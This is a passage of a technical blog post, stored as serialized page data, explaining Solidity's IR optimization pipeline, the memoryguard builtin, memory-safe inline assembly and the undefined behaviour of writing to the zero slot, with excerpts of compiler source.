generateIR",{"type":24,"tag":158,"props":30415,"children":30416},{"style":188},[30417],{"type":29,"value":504},{"type":24,"tag":158,"props":30419,"children":30420},{"style":222},[30421],{"type":29,"value":577},{"type":24,"tag":158,"props":30423,"children":30424},{"style":188},[30425],{"type":29,"value":30426},"contract);\n",{"type":24,"tag":158,"props":30428,"children":30429},{"class":160,"line":238},[30430,30434],{"type":24,"tag":158,"props":30431,"children":30432},{"style":1914},[30433],{"type":29,"value":3160},{"type":24,"tag":158,"props":30435,"children":30436},{"style":188},[30437],{"type":29,"value":30438}," (m_generateEvmBytecode)\n",{"type":24,"tag":158,"props":30440,"children":30441},{"class":160,"line":259},[30442],{"type":24,"tag":158,"props":30443,"children":30444},{"style":188},[30445],{"type":29,"value":30446}," {\n",{"type":24,"tag":158,"props":30448,"children":30449},{"class":160,"line":280},[30450,30454],{"type":24,"tag":158,"props":30451,"children":30452},{"style":1914},[30453],{"type":29,"value":4936},{"type":24,"tag":158,"props":30455,"children":30456},{"style":188},[30457],{"type":29,"value":30458}," (m_viaIR)\n",{"type":24,"tag":158,"props":30460,"children":30461},{"class":160,"line":301},[30462,30467,30471,30475],{"type":24,"tag":158,"props":30463,"children":30464},{"style":496},[30465],{"type":29,"value":30466}," generateEVMFromIR",{"type":24,"tag":158,"props":30468,"children":30469},{"style":188},[30470],{"type":29,"value":504},{"type":24,"tag":158,"props":30472,"children":30473},{"style":222},[30474],{"type":29,"value":577},{"type":24,"tag":158,"props":30476,"children":30477},{"style":188},[30478],{"type":29,"value":30426},{"type":24,"tag":158,"props":30480,"children":30481},{"class":160,"line":626},[30482],{"type":24,"tag":158,"props":30483,"children":30484},{"style":1914},[30485],{"type":29,"value":30486}," else\n",{"type":24,"tag":158,"props":30488,"children":30489},{"class":160,"line":668},[30490,30495,30499,30503],{"type":24,"tag":158,"props":30491,"children":30492},{"style":496},[30493],{"type":29,"value":30494}," compileContract",{"type":24,"tag":158,"props":30496,"children":30497},{"style":188},[30498],{"type":29,"value":504},{"type":24,"tag":158,"props":30500,"children":30501},{"style":222},[30502],{"type":29,"value":577},{"type":24,"tag":158,"props":30504,"children":30505},{"style":188},[30506],{"type":29,"value":30507},"contract, otherCompilers);\n",{"type":24,"tag":158,"props":30509,"children":30510},{"class":160,"line":676},[30511],{"type":24,"tag":158,"props":30512,"children":30513},{"style":188},[30514],{"type":29,"value":3967},{"type":24,"tag":25,"props":30516,"children":30517},{},[30518,30520,30527,30528,30535],{"type":29,"value":30519},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":101,"props":30521,"children":30524},{"href":30522,"rel":30523},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[105],[30525],{"type":29,"value":30526},"YulStack::optimize",{"type":29,"value":1826},{"type":24,"tag":101,"props":30529,"children":30532},{"href":30530,"rel":30531},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[105],[30533],{"type":29,"value":30534},"Assembly::optimize",{"type":29,"value":347},{"type":24,"tag":25,"props":30537,"children":30538},{},[30539],{"type":29,"value":30540},"In total, there are four steps.",{"type":24,"tag":1786,"props":30542,"children":30543},{},[30544,30548,30553,30557],{"type":24,"tag":1790,"props":30545,"children":30546},{},[30547],{"type":29,"value":30361},{"type":24,"tag":1790,"props":30549,"children":30550},{},[30551],{"type":29,"value":30552},"Optimization of YUL IR",{"type":24,"tag":1790,"props":30554,"children":30555},{},[30556],{"type":29,"value":30366},{"type":24,"tag":1790,"props":30558,"children":30559},{},[30560],{"type":29,"value":30561},"Optimization of EVM opcodes",{"type":24,"tag":25,"props":30563,"children":30564},{},[30565],{"type":29,"value":30566},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":4606,"props":30568,"children":30569},{},[30570],{"type":24,"tag":25,"props":30571,"children":30572},{},[30573],{"type":29,"value":30574},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":25,"props":30576,"children":30577},{},[30578],{"type":29,"value":30579},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":25,"props":30581,"children":30582},{},[30583],{"type":29,"value":30584},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":25,"props":30586,"children":30587},{},[30588],{"type":29,"value":30589},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":59,"props":30591,"children":30593},{"id":30592},"guarantees",[30594],{"type":29,"value":30595},"Guarantees",{"type":24,"tag":25,"props":30597,"children":30598},{},[30599,30600,30607,30609,30614],{"type":29,"value":17850},{"type":24,"tag":101,"props":30601,"children":30604},{"href":30602,"rel":30603},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[105],[30605],{"type":29,"value":30606},"Solidity memory layout",{"type":29,"value":30608}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":32,"props":30610,"children":30611},{},[30612],{"type":29,"value":30613},"no information about this layout",{"type":29,"value":347},{"type":24,"tag":25,"props":30616,"children":30617},{},[30618],{"type":29,"value":30619},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":25,"props":30621,"children":30622},{},[30623,30625,30631,30633,30639],{"type":29,"value":30624},"Introducing ",{"type":24,"tag":154,"props":30626,"children":30628},{"className":30627},[],[30629],{"type":29,"value":30630},"memoryguard",{"type":29,"value":30632},". If you've ever looked at the output of ",{"type":24,"tag":154,"props":30634,"children":30636},{"className":30635},[],[30637],{"type":29,"value":30638},"solc --ir",{"type":29,"value":30640},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":147,"props":30642,"children":30644},{"className":6134,"code":30643,"language":6133,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[30645],{"type":24,"tag":154,"props":30646,"children":30647},{"__ignoreMap":7},[30648,30666],{"type":24,"tag":158,"props":30649,"children":30650},{"class":160,"line":161},[30651,30656,30661],{"type":24,"tag":158,"props":30652,"children":30653},{"style":2588},[30654],{"type":29,"value":30655}," /// @src 0:26:371 \"contract ",{"type":24,"tag":158,"props":30657,"children":30658},{"style":165},[30659],{"type":29,"value":30660},"XXX",{"type":24,"tag":158,"props":30662,"children":30663},{"style":2588},[30664],{"type":29,"value":30665}," {...\"\n",{"type":24,"tag":158,"props":30667,"children":30668},{"class":160,"line":213},[30669,30674,30678,30683,30687,30691,30695,30700],{"type":24,"tag":158,"props":30670,"children":30671},{"style":496},[30672],{"type":29,"value":30673}," store",{"type":24,"tag":158,"props":30675,"children":30676},{"style":188},[30677],{"type":29,"value":504},{"type":24,"tag":158,"props":30679,"children":30680},{"style":465},[30681],{"type":29,"value":30682},"64",{"type":24,"tag":158,"props":30684,"children":30685},{"style":188},[30686],{"type":29,"value":191},{"type":24,"tag":158,"props":30688,"children":30689},{"style":496},[30690],{"type":29,"value":30630},{"type":24,"tag":158,"props":30692,"children":30693},{"style":188},[30694],{"type":29,"value":504},{"type":24,"tag":158,"props":30696,"children":30697},{"style":465},[30698],{"type":29,"value":30699},"0x80",{"type":24,"tag":158,"props":30701,"children":30702},{"style":188},[30703],{"type":29,"value":20955},{"type":24,"tag":25,"props":30705,"children":30706},{},[30707,30709,30716],{"type":29,"value":30708},"From ",{"type":24,"tag":101,"props":30710,"children":30713},{"href":30711,"rel":30712},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[105],[30714],{"type":29,"value":30715},"the documentation",{"type":29,"value":5785},{"type":24,"tag":4606,"props":30718,"children":30719},{},[30720],{"type":24,"tag":25,"props":30721,"children":30722},{},[30723,30725,30731,30733,30739,30741,30746],{"type":29,"value":30724},"The caller of ",{"type":24,"tag":154,"props":30726,"children":30728},{"className":30727},[],[30729],{"type":29,"value":30730},"let ptr := memoryguard(size)",{"type":29,"value":30732}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":154,"props":30734,"children":30736},{"className":30735},[],[30737],{"type":29,"value":30738},"[0, size)",{"type":29,"value":30740}," or the unbounded range starting at ",{"type":24,"tag":154,"props":30742,"children":30744},{"className":30743},[],[30745],{"type":29,"value":15183},{"type":29,"value":347},{"type":24,"tag":25,"props":30748,"children":30749},{},[30750,30752,30757,30759,30765],{"type":29,"value":30751},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":154,"props":30753,"children":30755},{"className":30754},[],[30756],{"type":29,"value":30630},{"type":29,"value":30758}," return ",{"type":24,"tag":154,"props":30760,"children":30762},{"className":30761},[],[30763],{"type":29,"value":30764},"size + 32",{"type":29,"value":30766},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":25,"props":30768,"children":30769},{},[30770,30772,30779,30781,30786,30788,30793],{"type":29,"value":30771},"An example of this optimization in practice ",{"type":24,"tag":101,"props":30773,"children":30776},{"href":30774,"rel":30775},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[105],[30777],{"type":29,"value":30778},"is the StackLimitEvader",{"type":29,"value":30780},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":32,"props":30782,"children":30783},{},[30784],{"type":29,"value":30785},"only",{"type":29,"value":30787}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":154,"props":30789,"children":30791},{"className":30790},[],[30792],{"type":29,"value":30630},{"type":29,"value":347},{"type":24,"tag":25,"props":30795,"children":30796},{},[30797],{"type":29,"value":30798},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":25,"props":30800,"children":30801},{},[30802,30804,30810],{"type":29,"value":30803},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":154,"props":30805,"children":30807},{"className":30806},[],[30808],{"type":29,"value":30809},"memoryguard(0x60)",{"type":29,"value":30811}," instead. The rest of the pipeline will still work.",{"type":24,"tag":59,"props":30813,"children":30814},{"id":30323},[30815],{"type":29,"value":30816},"Memory Safety",{"type":24,"tag":25,"props":30818,"children":30819},{},[30820],{"type":29,"value":30821},"So what does memory safety mean?",{"type":24,"tag":25,"props":30823,"children":30824},{},[30825,30827,30833],{"type":29,"value":30826},"The Solidity documentation provides ",{"type":24,"tag":101,"props":30828,"children":30830},{"href":30298,"rel":30829},[105],[30831],{"type":29,"value":30832},"a set of constraints",{"type":29,"value":30834},", not a definition.",{"type":24,"tag":4606,"props":30836,"children":30837},{},[30838,30843],{"type":24,"tag":25,"props":30839,"children":30840},{},[30841],{"type":29,"value":30842},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":1786,"props":30844,"children":30845},{},[30846,30851,30856,30861],{"type":24,"tag":1790,"props":30847,"children":30848},{},[30849],{"type":29,"value":30850},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":1790,"props":30852,"children":30853},{},[30854],{"type":29,"value":30855},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":1790,"props":30857,"children":30858},{},[30859],{"type":29,"value":30860},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":1790,"props":30862,"children":30863},{},[30864],{"type":29,"value":30865},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":25,"props":30867,"children":30868},{},[30869,30871,30878,30888],{"type":29,"value":30870},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":101,"props":30872,"children":30875},{"href":30873,"rel":30874},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[105],[30876],{"type":29,"value":30877},"removes the memory guard",{"type":24,"tag":16709,"props":30879,"children":30880},{},[30881],{"type":24,"tag":101,"props":30882,"children":30886},{"href":30883,"ariaDescribedBy":30884,"dataFootnoteRef":7,"id":30885},"#user-content-fn-1",[16716],"user-content-fnref-1",[30887],{"type":29,"value":5672},{"type":29,"value":347},{"type":24,"tag":147,"props":30890,"children":30892},{"className":30369,"code":30891,"language":30371,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[30893],{"type":24,"tag":154,"props":30894,"children":30895},{"__ignoreMap":7},[30896,30904,30912,30919,30955,30962,30970,30978,30986,30994,31002,31015,31028,31036],{"type":24,"tag":158,"props":30897,"children":30898},{"class":160,"line":161},[30899],{"type":24,"tag":158,"props":30900,"children":30901},{"style":2588},[30902],{"type":29,"value":30903},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":158,"props":30905,"children":30906},{"class":160,"line":213},[30907],{"type":24,"tag":158,"props":30908,"children":30909},{"style":2588},[30910],{"type":29,"value":30911},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":158,"props":30913,"children":30914},{"class":160,"line":238},[30915],{"type":24,"tag":158,"props":30916,"children":30917},{"emptyLinePlaceholder":16},[30918],{"type":29,"value":481},{"type":24,"tag":158,"props":30920,"children":30921},{"class":160,"line":259},[30922,30927,30932,30937,30941,30946,30951],{"type":24,"tag":158,"props":30923,"children":30924},{"style":171},[30925],{"type":29,"value":30926},"string",{"type":24,"tag":158,"props":30928,"children":30929},{"style":188},[30930],{"type":29,"value":30931}," IRGenerator::",{"type":24,"tag":158,"props":30933,"children":30934},{"style":496},[30935],{"type":29,"value":30936},"memoryInit",{"type":24,"tag":158,"props":30938,"children":30939},{"style":188},[30940],{"type":29,"value":504},{"type":24,"tag":158,"props":30942,"children":30943},{"style":165},[30944],{"type":29,"value":30945},"bool",{"type":24,"tag":158,"props":30947,"children":30948},{"style":177},[30949],{"type":29,"value":30950}," _useMemoryGuard",{"type":24,"tag":158,"props":30952,"children":30953},{"style":188},[30954],{"type":29,"value":2125},{"type":24,"tag":158,"props":30956,"children":30957},{"class":160,"line":280},[30958],{"type":24,"tag":158,"props":30959,"children":30960},{"style":188},[30961],{"type":29,"value":1710},{"type":24,"tag":158,"props":30963,"children":30964},{"class":160,"line":301},[30965],{"type":24,"tag":158,"props":30966,"children":30967},{"style":2588},[30968],{"type":29,"value":30969}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":158,"props":30971,"children":30972},{"class":160,"line":626},[30973],{"type":24,"tag":158,"props":30974,"children":30975},{"style":2588},[30976],{"type":29,"value":30977}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":158,"props":30979,"children":30980},{"class":160,"line":668},[30981],{"type":24,"tag":158,"props":30982,"children":30983},{"style":2588},[30984],{"type":29,"value":30985}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":158,"props":30987,"children":30988},{"class":160,"line":676},[30989],{"type":24,"tag":158,"props":30990,"children":30991},{"style":1914},[30992],{"type":29,"value":30993}," return\n",{"type":24,"tag":158,"props":30995,"children":30996},{"class":160,"line":684},[30997],{"type":24,"tag":158,"props":30998,"children":30999},{"style":188},[31000],{"type":29,"value":31001}," Whiskers{\n",{"type":24,"tag":158,"props":31003,"children":31004},{"class":160,"line":700},[31005,31010],{"type":24,"tag":158,"props":31006,"children":31007},{"style":188},[31008],{"type":29,"value":31009}," _useMemoryGuard ",{"type":24,"tag":158,"props":31011,"children":31012},{"style":222},[31013],{"type":29,"value":31014},"?\n",{"type":24,"tag":158,"props":31016,"children":31017},{"class":160,"line":785},[31018,31023],{"type":24,"tag":158,"props":31019,"children":31020},{"style":1108},[31021],{"type":29,"value":31022}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":158,"props":31024,"children":31025},{"style":222},[31026],{"type":29,"value":31027}," :\n",{"type":24,"tag":158,"props":31029,"children":31030},{"class":160,"line":1447},[31031],{"type":24,"tag":158,"props":31032,"children":31033},{"style":1108},[31034],{"type":29,"value":31035}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":158,"props":31037,"children":31038},{"class":160,"line":1509},[31039],{"type":24,"tag":158,"props":31040,"children":31041},{"style":188},[31042],{"type":29,"value":4366},{"type":24,"tag":25,"props":31044,"children":31045},{},[31046,31051,31053,31059],{"type":24,"tag":154,"props":31047,"children":31049},{"className":31048},[],[31050],{"type":29,"value":30638},{"type":29,"value":31052}," will now no longer have ",{"type":24,"tag":154,"props":31054,"children":31056},{"className":31055},[],[31057],{"type":29,"value":31058},"memoryguard(0x80)",{"type":29,"value":31060}," as expected.",{"type":24,"tag":147,"props":31062,"children":31064},{"className":6134,"code":31063,"language":6133,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[31065],{"type":24,"tag":154,"props":31066,"children":31067},{"__ignoreMap":7},[31068,31083],{"type":24,"tag":158,"props":31069,"children":31070},{"class":160,"line":161},[31071,31075,31079],{"type":24,"tag":158,"props":31072,"children":31073},{"style":2588},[31074],{"type":29,"value":30655},{"type":24,"tag":158,"props":31076,"children":31077},{"style":165},[31078],{"type":29,"value":30660},{"type":24,"tag":158,"props":31080,"children":31081},{"style":2588},[31082],{"type":29,"value":30665},{"type":24,"tag":158,"props":31084,"children":31085},{"class":160,"line":213},[31086,31091,31095,31099,31103,31108],{"type":24,"tag":158,"props":31087,"children":31088},{"style":496},[31089],{"type":29,"value":31090}," mstore",{"type":24,"tag":158,"props":31092,"children":31093},{"style":188},[31094],{"type":29,"value":504},{"type":24,"tag":158,"props":31096,"children":31097},{"style":465},[31098],{"type":29,"value":30682},{"type":24,"tag":158,"props":31100,"children":31101},{"style":188},[31102],{"type":29,"value":191},{"type":24,"tag":158,"props":31104,"children":31105},{"style":465},[31106],{"type":29,"value":31107},"128",{"type":24,"tag":158,"props":31109,"children":31110},{"style":188},[31111],{"type":29,"value":2125},{"type":24,"tag":25,"props":31113,"children":31114},{},[31115,31117,31122,31124,31129],{"type":29,"value":31116},"Semantically, the absence of ",{"type":24,"tag":154,"props":31118,"children":31120},{"className":31119},[],[31121],{"type":29,"value":30630},{"type":29,"value":31123}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":154,"props":31125,"children":31127},{"className":31126},[],[31128],{"type":29,"value":30630},{"type":29,"value":31130}," invariant.",{"type":24,"tag":4606,"props":31132,"children":31133},{},[31134],{"type":24,"tag":25,"props":31135,"children":31136},{},[31137,31138,31143,31144,31149,31150,31155],{"type":29,"value":30724},{"type":24,"tag":154,"props":31139,"children":31141},{"className":31140},[],[31142],{"type":29,"value":30730},{"type":29,"value":30732},{"type":24,"tag":154,"props":31145,"children":31147},{"className":31146},[],[31148],{"type":29,"value":30738},{"type":29,"value":30740},{"type":24,"tag":154,"props":31151,"children":31153},{"className":31152},[],[31154],{"type":29,"value":15183},{"type":29,"value":347},{"type":24,"tag":25,"props":31157,"children":31158},{},[31159],{"type":29,"value":31160},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":59,"props":31162,"children":31164},{"id":31163},"undefined-behavior",[31165],{"type":29,"value":31166},"Undefined Behavior",{"type":24,"tag":25,"props":31168,"children":31169},{},[31170,31172,31177,31179,31184,31186,31192],{"type":29,"value":31171},"How strict is memory safety? When it comes to ",{"type":24,"tag":154,"props":31173,"children":31175},{"className":31174},[],[31176],{"type":29,"value":30630},{"type":29,"value":31178},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":154,"props":31180,"children":31182},{"className":31181},[],[31183],{"type":29,"value":30288},{"type":29,"value":31185}," annotated assembly that touches memory at ",{"type":24,"tag":154,"props":31187,"children":31189},{"className":31188},[],[31190],{"type":29,"value":31191},"[0x40, 0x7f]",{"type":29,"value":31193}," really safe?",{"type":24,"tag":25,"props":31195,"children":31196},{},[31197,31198,31205,31207,31212],{"type":29,"value":17850},{"type":24,"tag":101,"props":31199,"children":31202},{"href":31200,"rel":31201},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[105],[31203],{"type":29,"value":31204},"Solidity documentation",{"type":29,"value":31206}," mentions ",{"type":24,"tag":32,"props":31208,"children":31209},{},[31210],{"type":29,"value":31211},"undefined behavior",{"type":29,"value":31213}," three times.",{"type":24,"tag":1786,"props":31215,"children":31216},{},[31217,31222,31237],{"type":24,"tag":1790,"props":31218,"children":31219},{},[31220],{"type":29,"value":31221},"The existence of a dangling reference",{"type":24,"tag":1790,"props":31223,"children":31224},{},[31225,31227],{"type":29,"value":31226},"Using verbatim improperly",{"type":24,"tag":16709,"props":31228,"children":31229},{},[31230],{"type":24,"tag":101,"props":31231,"children":31235},{"href":31232,"ariaDescribedBy":31233,"dataFootnoteRef":7,"id":31234},"#user-content-fn-2",[16716],"user-content-fnref-2",[31236],{"type":29,"value":4789},{"type":24,"tag":1790,"props":31238,"children":31239},{},[31240],{"type":29,"value":31241},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":25,"props":31243,"children":31244},{},[31245],{"type":29,"value":31246},"Why does this matter?",{"type":24,"tag":25,"props":31248,"children":31249},{},[31250,31252,31259,31261,31268],{"type":29,"value":31251},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":101,"props":31253,"children":31256},{"href":31254,"rel":31255},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[105],[31257],{"type":29,"value":31258},"signed integer overflow is undefined",{"type":29,"value":31260},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":101,"props":31262,"children":31265},{"href":31263,"rel":31264},"https://blog.regehr.org/archives/1307",[105],[31266],{"type":29,"value":31267},"years down the line",{"type":29,"value":347},{"type":24,"tag":25,"props":31270,"children":31271},{},[31272,31274,31281,31282,31287],{"type":29,"value":31273},"Going back to Solidity, the specification makes ",{"type":24,"tag":101,"props":31275,"children":31278},{"href":31276,"rel":31277},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[105],[31279],{"type":29,"value":31280},"it unambiguously clear",{"type":29,"value":19772},{"type":24,"tag":32,"props":31283,"children":31284},{},[31285],{"type":29,"value":31286},"Thou shalt not modify the zero slot",{"type":29,"value":347},{"type":24,"tag":4606,"props":31289,"children":31290},{},[31291],{"type":24,"tag":25,"props":31292,"children":31293},{},[31294],{"type":29,"value":31295},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":25,"props":31297,"children":31298},{},[31299,31301,31306],{"type":29,"value":31300},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":32,"props":31302,"children":31303},{},[31304],{"type":29,"value":31305},"in Solidity",{"type":29,"value":347},{"type":24,"tag":25,"props":31308,"children":31309},{},[31310],{"type":29,"value":31311},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":1786,"props":31313,"children":31314},{},[31315],{"type":24,"tag":1790,"props":31316,"children":31317},{},[31318,31320,31327],{"type":29,"value":31319},"It very clearly ",{"type":24,"tag":101,"props":31321,"children":31324},{"href":31322,"rel":31323},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[105],[31325],{"type":29,"value":31326},"holds true today",{"type":29,"value":347},{"type":24,"tag":147,"props":31329,"children":31331},{"className":30369,"code":31330,"language":30371,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[31332],{"type":24,"tag":154,"props":31333,"children":31334},{"__ignoreMap":7},[31335,31375,31382,31395,31467,31488,31539,31546],{"type":24,"tag":158,"props":31336,"children":31337},{"class":160,"line":161},[31338,31342,31347,31352,31356,31361,31366,31371],{"type":24,"tag":158,"props":31339,"children":31340},{"style":165},[31341],{"type":29,"value":30945},{"type":24,"tag":158,"props":31343,"children":31344},{"style":188},[31345],{"type":29,"value":31346}," IRGeneratorForStatements::",{"type":24,"tag":158,"props":31348,"children":31349},{"style":496},[31350],{"type":29,"value":31351},"visit",{"type":24,"tag":158,"props":31353,"children":31354},{"style":188},[31355],{"type":29,"value":504},{"type":24,"tag":158,"props":31357,"children":31358},{"style":171},[31359],{"type":29,"value":31360},"InlineAssembly",{"type":24,"tag":158,"props":31362,"children":31363},{"style":165},[31364],{"type":29,"value":31365}," const&",{"type":24,"tag":158,"props":31367,"children":31368},{"style":177},[31369],{"type":29,"value":31370}," _inlineAsm",{"type":24,"tag":158,"props":31372,"children":31373},{"style":188},[31374],{"type":29,"value":2125},{"type":24,"tag":158,"props":31376,"children":31377},{"class":160,"line":213},[31378],{"type":24,"tag":158,"props":31379,"children":31380},{"style":188},[31381],{"type":29,"value":1710},{"type":24,"tag":158,"props":31383,"children":31384},{"class":160,"line":238},[31385,31390],{"type":24,"tag":158,"props":31386,"children":31387},{"style":496},[31388],{"type":29,"value":31389}," setLocation",{"type":24,"tag":158,"props":31391,"children":31392},{"style":188},[31393],{"type":29,"value":31394},"(_inlineAsm);\n",{"type":24,"tag":158,"props":31396,"children":31397},{"class":160,"line":259},[31398,31402,31406,31410,31415,31419,31424,31429,31434,31438,31442,31446,31450,31454,31458,31463],{"type":24,"tag":158,"props":31399,"children":31400},{"style":1914},[31401],{"type":29,"value":3160},{"type":24,"tag":158,"props":31403,"children":31404},{"style":188},[31405],{"type":29,"value":2262},{"type":24,"tag":158,"props":31407,"children":31408},{"style":222},[31409],{"type":29,"value":577},{"type":24,"tag":158,"props":31411,"children":31412},{"style":177},[31413],{"type":29,"value":31414},"_inlineAsm",{"type":24,"tag":158,"props":31416,"children":31417},{"style":188},[31418],{"type":29,"value":347},{"type":24,"tag":158,"props":31420,"children":31421},{"style":496},[31422],{"type":29,"value":31423},"annotation",{"type":24,"tag":158,"props":31425,"children":31426},{"style":188},[31427],{"type":29,"value":31428},"().",{"type":24,"tag":158,"props":31430,"children":31431},{"style":177},[31432],{"type":29,"value":31433},"hasMemoryEffects",{"type":24,"tag":158,"props":31435,"children":31436},{"style":222},[31437],{"type":29,"value":15419},{"type":24,"tag":158,"props":31439,"children":31440},{"style":222},[31441],{"type":29,"value":3750},{"type":24,"tag":158,"props":31443,"children":31444},{"style":177},[31445],{"type":29,"value":31414},{"type":24,"tag":158,"props":31447,"children":31448},{"style":188},[31449],{"type":29,"value":347},{"type":24,"tag":158,"props":31451,"children":31452},{"style":496},[31453],{"type":29,"value":31423},{"type":24,"tag":158,"props":31455,"children":31456},{"style":188},[31457],{"type":29,"value":31428},{"type":24,"tag":158,"props":31459,"children":31460},{"style":177},[31461],{"type":29,"value":31462},"markedMemorySafe",{"type":24,"tag":158,"props":31464,"children":31465},{"style":188},[31466],{"type":29,"value":2125},{"type":24,"tag":158,"props":31468,"children":31469},{"class":160,"line":280},[31470,31475,31479,31484],{"type":24,"tag":158,"props":31471,"children":31472},{"style":177},[31473],{"type":29,"value":31474}," m_context",{"type":24,"tag":158,"props":31476,"children":31477},{"style":188},[31478],{"type":29,"value":347},{"type":24,"tag":158,"props":31480,"children":31481},{"style":496},[31482],{"type":29,"value":31483},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":158,"props":31485,"children":31486},{"style":188},[31487],{"type":29,"value":5329},{"type":24,"tag":158,"props":31489,"children":31490},{"class":160,"line":301},[31491,31496,31500,31504,31509,31514,31518,31522,31526,31530,31535],{"type":24,"tag":158,"props":31492,"children":31493},{"style":188},[31494],{"type":29,"value":31495}," CopyTranslate bodyCopier{",{"type":24,"tag":158,"props":31497,"children":31498},{"style":177},[31499],{"type":29,"value":31414},{"type":24,"tag":158,"props":31501,"children":31502},{"style":188},[31503],{"type":29,"value":347},{"type":24,"tag":158,"props":31505,"children":31506},{"style":496},[31507],{"type":29,"value":31508},"dialect",{"type":24,"tag":158,"props":31510,"children":31511},{"style":188},[31512],{"type":29,"value":31513},"(), m_context, 